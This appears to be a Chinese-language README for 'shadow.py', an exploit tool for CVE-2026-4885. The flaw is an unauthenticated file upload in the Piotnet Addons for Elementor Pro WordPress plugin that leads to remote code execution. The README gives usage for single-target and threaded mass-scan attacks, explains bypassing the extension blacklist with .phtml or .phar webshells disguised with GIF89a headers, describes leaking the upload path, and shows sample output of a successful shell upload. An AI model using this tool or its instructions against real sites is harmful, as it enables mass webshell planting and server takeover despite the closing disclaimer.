
Piotnet Addons for Elementor Pro <= 7.1.70 - 未经身份验证的任意文件上传 → RCE
Piotnet Addons for Elementor Pro <= 7.1.70 - 未认证任意文件上传 → 远程代码执行(RCE)
WordPress 的 Piotnet Addons for Elementor Pro 插件在 7.1.70 及之前的所有版本中,由于 pafe_ajax_form_builder 函数缺少文件类型验证,存在任意文件上传漏洞。该插件使用了一个不完整的扩展名黑名单,仅阻止 php、phpt、php5、php7 和 exe 扩展名,却允许 .phar 或 .phtml 等危险扩展名被自由上传。
这使得未认证的攻击者能够在受影响网站的服务器上上传任意 PHP 文件,从而导致远程代码执行(RCE)。
注意: 只有在 Piotnet 表单中添加了文件字段时,该漏洞才能被触发。
~ CVSS 评分:9.8(严重)
~ CVSS 向量:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
~ 受影响版本:<= 7.1.70
~ 补丁状态:暂无可用补丁
~ 公开披露日期:2026年5月18日
pafe_ajax_form_builder AJAX 处理器接受文件上传,但未进行正确的验证:
// Incomplete blacklist — only blocks:
$blocked = ['php', 'phpt', 'php5', 'php7', 'exe'];
// .phtml, .phar, .shtml etc. pass through freely ✓
可通过未认证的 pafe_export_database AJAX 操作泄露上传路径 → CSV 导出包含完整的文件 URL。
交互式菜单(默认):
python3 shadow.py
╾──── MENU ────╼
1 ▶ one target
2 ▶ mass scan
3 ▶ exit
[1/2/3] :
单个目标(命令行):
python3 shadow.py -u https://target.com
python3 shadow.py -u https://target.com -s shell.phtml
批量目标(命令行):
python3 shadow.py -f targets.txt -t 20
python3 shadow.py -f targets.txt -t 20 -s shell.phtml
选项:
-u, --url Target URL
-f, --file File with target URLs (one per line)
-s, --shell Custom PHP shell file (GIF89a auto-prepended)
-t, --threads Concurrent threads for mass mode (default: 5)
-h, --help Show help
form_id、post_id、field_namepafe_export_database 泄露 URL(无需认证、无需 nonce)shell.txt在本地准备你的 shell 文件(例如 shadow.phtml)— 如果缺少 GIF89a 魔数,将自动添加前缀。
被阻止的扩展名:
.php.phpt.php5.php7.exe请改用:
.phtml.phar.shtml.php8等
╔══════════════════════════════════════════════════════════╗
║ ║
║ ♡ CVE-2026-4885 ║
║ Piotnet Addons for Elementor Pro <= 7.1.70 ║
║ Unauthenticated File Upload → RCE ║
║ ║
║ by Shadow & Friska ♡ ║
║ ║
╚══════════════════════════════════════════════════════════╝
╾──── VERSION ────╼
♡ v7.1.67 <= 7.1.70 — VULNERABLE
╾──── RECON ────╼
◆ scanning 46 pages (parallel)...
♡ [PIOTNET] https://target.com/contact
post_id=9 | form_id=72071c0
◆ using : https://target.com/contact
╾──── EXPLOIT ────╼
◆ post_id=9 | form_id=72071c0 | field=file
▶ trying .phtml ...
♡ uploaded (.phtml)
♡ URL leak : https://target.com/wp-content/uploads/piotnet-addons-for-elementor/shadow-xxx.phtml
╔══════════════════════════════════════════════════════════╗
║ ★ SHELL UPLOADED (.phtml) ║
║ ║
║ ◆ shell : https://target.com/wp-content/... ║
╚══════════════════════════════════════════════════════════╝
pip install httpx
本工具仅供教育和授权安全测试目的使用。
对您不拥有或未经明确许可测试的系统进行未经授权的使用属于违法行为。作者不对因使用本工具造成的任何滥用或损害负责。